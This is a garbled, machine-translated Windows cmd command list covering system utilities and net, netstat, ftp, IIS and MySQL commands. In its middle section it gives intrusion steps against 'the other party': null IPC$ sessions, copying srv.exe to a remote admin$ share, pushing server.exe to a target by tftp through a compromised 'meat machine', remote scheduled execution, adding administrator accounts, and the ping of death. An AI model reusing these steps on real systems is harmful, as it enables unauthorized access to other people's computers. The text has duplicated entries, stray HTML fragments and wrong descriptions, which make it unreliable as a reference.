cmd command list
1. gpedit.msc-----group policy
2. sndrec32-------recorder
3. Nslookup-------IP address detector
4. explorer-------Open the resource manager
5. logoff ---------Logout command
6. tsshutdn-------60-second countdown shutdown command
7. lusrmgr.msc----This Computer users and groups
8. services.msc---Local service settings
9. oobe/msoobe /a----Check whether XP is activated
10. notepad--------open notepad
11. cleanmgr-------trash management
12. net start messenger---- Start the messenger service
13. compmgmt.msc---Computer Management
14. net stop messenger-----Stop the messenger service
15. conf -----------Start netmeeting
16. dvdplay--------DVD player
17. charmap------ --Start character mapping table
18. diskmgmt.msc---Disk management utility program
19. calc-----------Start calculator< /p>
20. dfrg.msc------Disk defragmentation program
21. chkdsk.exe-----Chkdsk disk check
22 . devmgmt.msc--- Device Manager
23. regsvr32 /u *.dll----Stop dll file running
24. drwtsn32------ System Doctor
25. rononce -p----Shut down in 15 seconds
26. dxdiag---------Check DirectX information
27 . regedt32-------Registry Editor
28. Msconfig.exe---System Configuration Utility
29. rsop.msc------ -Group Policy Result Set
30. mem.exe--------Display memory usage
31. regedit.exe----Registry
32. winchat--------XP comes with LAN chat
33. progman--------Program Manager
34. winmsd---------system information
35. perfmon.msc----computer performance monitoring program
36. winver-------- -Check Windows version
37. sfc /scannow-----Scan errors and recover
38. taskmgr-----Task Manager (2000/xp/2003 < /p>
39. winver---------Check Windows version
40. wmimgmt.msc----Open Windows Management Architecture (WMI)
41. wupdmgr--------windows update program
42. wscript--------windows script host settings
43. write----------WordPad
44. winmsd---------System information
45. wiaacmgr---- ---Scanner and Camera Wizard
46. winchat--------XP comes with LAN chat
47. mem.exe------- -Display memory usage
48. Msconfig.exe---System configuration utility program
49. mplayer2-------Simple widnows media player
< p> 50. mspaint--------Painting Board51. mstsc----------Remote Desktop Connection
52. mplayer2-- -----Media player
53. magnify--------Magnifying glass utility
54. mmc----------- -Open the console
55. mobsync--------Synchronization command
56. dxdiag---------Check DirectX information
57. drwtsn32------ System Doctor
58. devmgmt.msc--- Device Manager
59. dfrg.msc------ -Disk defragmentation program
60. diskmgmt.msc---Disk management utility program
61. dcomcnfg-------Open system component service
< p> 62. ddeshare-------Open DDE*** share settings63. dvdplay--------DVD player
64. net stop messenger-----stop the messenger service
65. net start messenger----start the messenger service
66. notepad--------open notepad
67. nslookup-------Network management tool wizard
68. ntbackup-------System backup and restore
69. narrator-------Screen "narrator"
70. ntmsmgr.msc----Mobile Storage Manager
71. ntmsoprq.msc--- Mobile storage administrator operation request
72. netstat -an----(TC) command to check the interface
73. syncapp--------Create a briefcase
74. sysedit--------system configuration editor
75. sigverif-------file signature verification program
76. sndrec32-------Audio recorder
77. shrpubw--------Create a shared folder
78. secpol.msc-- ---Local security policy
79. syskey---------system encryption, once encrypted, it cannot be decrypted, protecting the double password of Windows XP system
80 . services.msc---Local services
Settings
81. Sndvol32------Volume Control Program
82. sfc.exe--------System File Checker
< p> 83. sfc /scannow---windows file protection84. tsshutdn-------60-second countdown shutdown command
3. 84. tsshutdn--- ----60 seconds countdown shutdown command
85. tourstart------xp introduction (the tour xp program that appears after the installation is completed)
86. taskmgr--- -----Task Manager
87. eventvwr-------Event Viewer
88. eudcedit-------Word creation program
p>89. explorer-------Open the resource manager
90. packager-------Object packaging program
91. perfmon. msc----Computer Performance Monitoring Program
92. progman--------Program Manager
93. regedit.exe----Registry
p>94. rsop.msc-------Group Policy Result Set
95. regedt32-------Registry Editor
96 . rononce -p ----Shut down in 15 seconds
97. regsvr32 /u *.dll----Stop dll file running
98. regsvr32 /u zipfldr.dll- -----Cancel ZIP support
99. cmd.exe--------CMD command prompt
100. chkdsk.exe-----Chkdsk Disk check
101. certmgr.msc----Certificate management utility
102. calc-----------Start the calculator
103. charmap--------Start character mapping table
104. cliconfg-------SQL SERVER client network utility program
105 . Clipbrd--------Clipboard viewer
106. conf-----------Start netmeeting
107. compmgmt.msc- --Computer management
108. cleanmgr-------Garbage cleaning
109. ciadv.msc------Index service program
110. osk------------Open the on-screen keyboard
111. odbcad32-------ODBC data source manager
112. oobe/msoobe /a----Check whether XP is activated
113. lusrmgr.msc----Local users and groups
114. logoff------ ---Logout command
115. iexpress-------Trojan horse bundling tool, the system comes with it
116. Nslookup-------IP address detection
117. fsmgmt.msc-----Shared Folder Manager
118. utilman--------Auxiliary Tool Manager
p>119. explor
er-------Open the resource manager
[Edit this paragraph] Detailed explanation of CMD command operation
net use ipipc$ " " /user:" " Establish an IPC empty link
net use ipipc$ "password" /user:"username" to establish a non-empty IPC link
net use h: ipc$ "password" /user:"username" directly After logging in, map the other party C: to the local H:
net use h: ipc$ After logging in, map the other party C: to the local H:
net use ipipc$ /del Delete IPC Link
net use h: /del Delete the mapping of the other party to the local H:
net user username password/add Create user
net user guest /active:yes Activate guest user
net user View which users
net user account name View account attributes
net localgroup administrators username/add Add "user" to the administrator to have administrator rights
net start to see which services are enabled
net start service name to start the service; (such as: net start telnet, net start schedule)
net stop service name to stop a service
net time target ip check the other party's time
net time target ip /set set the local computer time and Time synchronization of the "target IP" host, add the parameter /yes to cancel the confirmation message
net view to see which *** shares are enabled in the local LAN
net view ip to view the other party What shares are enabled in the LAN
net config displays the system network settings
net logoff disconnects the shares
net pause service name Suspend a service
net send ip "text message" Send a message to the other party
net ver Network connection type and information being used in the LAN
net share View Locally enabled *** sharing
net share ipc$ Enable ipc$*** sharing
net share ipc$ /del Delete ipc$*** sharing
< p> net share c$ /del Delete C: ***sharenet user guest 12345 After logging in as the guest user, change the password to 12345
net password password change system login Password
netstat -a to check which ports are open, commonly used netstat -an
netstat -n to check the network connection status of the port, commonly used netstat -an
netstat -v View ongoing work
netstat -p protocol name example: netstat -p tcq/ip View the usage of a certain protocol
netstat -s View the usage of all protocols in use
nbtstat -A ip If one of the other party's ports 136 to 139 is open, you can view the user name of the other party's recent login
tracert - parameter ip
(or computer name) trace route (packet), parameter: "-w number" is used to set the timeout interval.
Ping ip (or domain name) sends data with a default size of 32 bytes to the other host. Parameters: "-l [space] packet size"; "-n number of times to send data"; "-t "refers to pinging all the time.
ping -t -l 65550 ip ping of death (sending files larger than 64K and pinging all the time becomes the ping of death)
ipconfig (winipcfg) for windows NT and XP (Windows 95 98) To view the local IP address, ipconfig can use the parameter "/all" to display all configuration information
tlist -t displays the process in a tree line list (it is an additional tool for the system, which is not installed by default. In the Support/tools folder of the installation directory)
kill -F Add the -F parameter to the process name to force the end of a process (it is an additional tool for the system, which is not installed by default. In the Support of the installation directory /tools folder)
Del -F The file name can be deleted by adding the -F parameter. /AR, /AH, /AS, and /AA respectively represent deleting read-only, hidden, and system files. , archive files, /A-R, /A-H, /A-S, /A-A means to delete files other than read-only, hidden, system, and archive files. For example, "DEL/AR *.*" means to delete all read-only files in the current directory, and "DEL/A-S *.*" means to delete all files in the current directory except system files
del /S / Q directory or use: rmdir /s /Q directory /S to delete the directory and all subdirectories and files under the directory. At the same time, use the parameter /Q to cancel the deletion operation and delete it directly after the system confirms it.
(The two commands have the same effect)
move The drive letter path is the file name to be moved. The path to store the moved file. After the move, the file name is the moved file. Use the parameter /y to cancel the prompt to confirm that the same file exists in the moved directory. Direct overwrite
fc one.txt two.txt > 3st.txt Compare the two files and output the differences to the 3st.txt file, "> " and "> >" are redirection commands< /p>
at id number starts a registered scheduled task
at /delete stops all scheduled tasks. Use the parameter /yes to stop directly without confirmation
at id number/delete Stop a registered scheduled task
at View all scheduled tasks
at ip time Program name (or a command) /r Run the other party at a certain time A certain program and restart the computer
finger username @host to see which users have logged in recently
telnet ip port remote and login server, the default port is 23
open ip Connect to IP (command after telnet login)
telnet Type telnet directly on the local machine to enter the telnet of the local machine
copy path file name 1 path file name 2 / y Copy file 1 to the specified directory as file 2. Use the parameter /y to cancel confirmation that you want to overwrite an existing directory file
copy c:srv.exe ipadmin$ Copy local c:srv.exe Go to the other party's admin
Copy 1st.jpg/b+2st.txt/a 3st.jpg Hide the content of 2st.txt into 1st.jpg to generate a new file 3st.jpg. Note: 2st The .txt file header should have three empty rows. Parameters: /b refers to the binary file, /a refers to the ASCLL format file
copy ipadmin$svv.exe c: or:copyipadmin$*.* Copy the other party's admini$* ** Share the srv.exe file (all files) to local C:
xcopy The file or directory tree to be copied. The target address and directory name. Copy the file and directory tree. Use the parameter /Y to overwrite without prompting. Same file
tftp -i own IP (use the meat machine IP when using the meat machine as a springboard) get server.exe c:server.exe After logging in, download the server.exe of "IP" to the target Host c:server.exe Parameters: -i refers to transmission in binary mode, such as when transmitting exe files. If -i is not added, transmission is in ASCII mode (text file transmission mode)
tftp -i The other party's IP put c:server.exe After logging in, upload the local c:server.exe to the host
The ftp ip port is used to upload files to the server or perform file operations. The default port is 21. bin refers to transmission in binary mode (executable file input); the default is ASCII format transmission (text file)
route print displays the IP route, which will mainly display the network address Network addres and the subnet mask Netmask. , gateway address Gateway addres, interface address Interface
arp View and process ARP cache. ARP means name resolution and is responsible for parsing an IP into a physical MAC address.
arp -a will display all information
start program name or command /max or /min to open a new window and maximize (minimize) run a program or command
mem Check the cpu usage
attrib file name (directory name) View the attributes of a file (directory)
attrib file name-A -R -S -H or +A +R + S +H removes (adds) the archive, read-only, system, and hidden attributes of a file; use + to add it as a certain attribute
dir View files, parameters: /Q shows which system the files and directories belong to User, /T:C displays the file creation time, /T:A displays the last time the file was accessed, /T:W last modified time
date /t, time /t use this parameter. "DATE/T", "TIME/T" will only display the current date and time without having to enter a new date and time
set Specify the environment variable name = the character to be assigned to the variable Set the environment variable
p>set displays all current environment variables
set p (or other characters) displays all current environment variables starting with character p (or other characters)
pause Pause the batch program and display: Please press any key to continue....
if performs conditional processing in the batch program (see if command and variables for more instructions)
The goto label directs cmd.exe to the labeled line in the batch program (the label must be a separate line and preceded by a colon, for example: ":start" label)
The call path batch file name is from Call another batch program in a batch program (for more instructions, see call /?)
for executes a specific command on each file in a set of files (for more instructions, see the for command and variables )
echo on or off turns echo on or off. Using echo only without parameters displays the current echo settings
echo information displays information on the screen
echo information >> pass.txt Save "information" to the pass.txt file
findstr "Hello" aa.txt Find the string hello in the aa.txt file
find Find a file by file name
title title name changes the CMD window title name
color color value sets the foreground and background color of the cmd console; 0=black, 1=blue, 2=green , 3=light green, 4=red, 5=purple, 6=yellow, 7=white, 8=grey, 9=light blue, A=light green, B=light light green, C=light red, D=light Purple, E=light yellow, F=bright white
prompt Change the name of the command prompt displayed by cmd.exe (change C: and D: to: EntSky)
2. ver displays version information in the DOS window
winver pops up a window to display version information (memory size, system version, patch version, computer name)
format drive letter/FS: Type format disk, type: FAT, FAT32, NTFS, example: Format D: /FS:NTFS
md directory name to create directory
replace source file to replace the directory replacement file File
ren original file name new file name renamed file name
tree displays the directory in a tree structure, using the parameter -f will list the file names in the first folder
p>
type filename displays the contents of the text file
more filename displays the output file screen by screen
doskey to be locked
command = character
doskey command to unlock = lock command provided for DOS (edit command line, re-invoke win2k command, and create macro). For example: lock dir command: doskey dir=entsky (doskey dir=dir cannot be used); unlock: doskey dir=
taskmgr brings up the task manager
chkdsk /F D: Check the disk D and display the status report; add parameter /f and repair errors on the disk
tlntadmn telnt service admn, type tlntadmn and select 3, then select 8, you can change the telnet service default port 23 to any other port< /p>
exit exits the cmd.exe program or the current process. Using the parameter /B will exit the current batch script instead of cmd.exe
The file name of the path executable file is the executable file. Set a path.
cmd starts a win2K command interpretation window. Parameters: /eff, /en close and enable command expansion; for more detailed instructions, see cmd /?
regedit /s imports the registry file name into the registry; the parameter /S refers to quiet mode import, without any prompts ;
regedit /e Registry file name exports the registry
The cacls file name parameter displays or modifies the file access control list (ACL) - for NTFS format. Parameters: /D username: set to deny access to a certain user; /P username: perm replaces the access rights of the specified user; /G username: perm grants access rights to the specified user; Perm can be: N none, R read, W writes, C changes (writes), F fully controls; for example: cacls D: est.txt /D pub sets d: est.txt to deny pub user access.
cacls file name to view the file access user permission list
REM text content to add comments in the batch file
netsh to view or change the local network configuration< /p>
3. IIS service command
iisreset /reboot Restart the win2k computer (but a prompt that the system will restart will appear)
iisreset /start or stop Start (stop) All Internet services
iisreset /restart stops and restarts all Internet services
iisreset /status displays the status of all Internet services
iisreset /enable or disable on the local system Enable (disable) the restart of the Internet service on
iisreset /rebootonerror When starting, stopping or restarting the Internet service, if an error occurs, it will reboot
iisreset /noforce If it cannot be stopped Internet service will not be forcibly terminated
iisreset /timeout Val has not stopped the Internet service when the timeout period (seconds) is reached. If the /rebootonerror parameter is specified, the computer will restart. The default value is 20 seconds for restart, 60 seconds for stop, and 0 seconds for restart.
FTP command: (detailed description below)
The command line format of ftp is:
ftp -v -d -i -n -g[ hostname] -v displays all response information from the remote server.
-d uses debugging mode.
-n restricts the automatic login of ftp, that is, does not use the .netrc file.
-g Cancel the global file name.
help [command] or ? [Command] View the command description
bye or quit terminates the host FTP process and exits the FTP management mode.
pwd lists the current remote host directory
put Or send local file name [file name uploaded to the host] to transfer a local file to the remote host
get or recv [remote host file name] [file name downloaded to the local] from Transfer a batch of files from the remote host to the local host
mget [remote-files] Receive a batch of files from the remote host to the local host
mput local-files Transfer a batch of files to the local host Transfer files to the remote host
dir or ls [remote-directory] [local-file] lists the files in the current remote host directory. If there are local files, write the results to the local file< /p>
ascii Set to send files in ASCII mode (default value)
bin or image Set to send files in binary mode
bell Each time a file transfer is completed, Alarm prompt
cdup returns to the previous directory
close interrupts the ftp session with the remote server (corresponding to open)
open host[port] establishes the specified ftp Server connection, you can specify the connection port
delete delete files in the remote host
mdelete [remote-files] delete a batch of files
mkdir directory-name Create a directory on the remote host
rename [from] [to] Change the file name on the remote host
rmdir directory-name Delete the directory on the remote host
status displays the current FTP status
system displays the remote host system type
user user-name [password] [account] Re-login to the remote host with another user name Host
open host [port] Re-establish a new connection
prompt interactive prompt mode
macdef define macro command
lcd change The current working directory of the local host. If default, go to the current user's HOME directory
chmod changes the file permissions of the remote host
case When it is ON, use the MGET command Copy the file names to the local machine and convert them all to lowercase letters
cd remote-dir enters the remote host directory
cdup enters the parent directory of the remote host directory
! Execute an interactive shell on the local machine, exit and return to the ftp environment, such as !ls*.zip
#5
4. MYSQL command
mysql -h host address -u username -p password to connect to MYSQL; if MYSQL has just been installed, the super user root does not have a password.
(Example: mysql -h110.110.110.110 -Uroot -P123456
Note: u and root do not need to add spaces, and the same applies to others)
exit Exit MYSQL
mysqladmin -u username -p old password password new password change password
grant select on database.* to username@login host identified by "password"; add new user. (Note: Unlike the above, the following are commands in the MYSQL environment, so they are followed by a semicolon as the command terminator)
show databases; Display the database list. At the beginning, there were only two databases: mysql and test. The mysql library is very important. It contains MYSQL system information. When we change passwords and add new users, we actually use this library for operations.
use mysql;
show tables; display the data tables in the library
describe table name; display the structure of the data table
create database database name; create database
use database name;
create table table name (field setting list); create table
drop database database name; < /p>
drop table table name; delete database and table
delete from table name; clear the records in the table
select * from table name; display the records in the table Record
mysqldump --opt school>school.bbb Back up the database: (The command is executed in the mysqlin directory of DOS); Note: Back up the database school to the school.bbb file, school.bbb is a text file , choose any file name, open it and see what new discoveries you will make.
New commands under win2003 system (practical part):
shutdown /parameter to shut down or restart the local or remote host.
Parameter description: /S shuts down the host, /R restarts the host, /T digitally sets the delay time, ranging from 0 to 180 seconds, /A cancels booting, /M //IP specified remote host.
Example: shutdown /r /t 0 Restart the local host immediately (no delay)
taskill /parameter process name or pid of the process Terminate one or more tasks and processes.
Parameter description: /PID is the pid of the process to be terminated. You can use the tasklist command to obtain the pid of each process, /IM is the process name of the process to be terminated, /F is to forcefully terminate the process, /T is to terminate the specified process and The child process he started.
tasklist displays the process identifiers (PIDs) of processes, services, and service processes currently running on local and remote hosts.
Parameter description: /M lists the dll files loaded by the current process, /SVC displays the services corresponding to each process, if there is no parameter, only the current process is listed.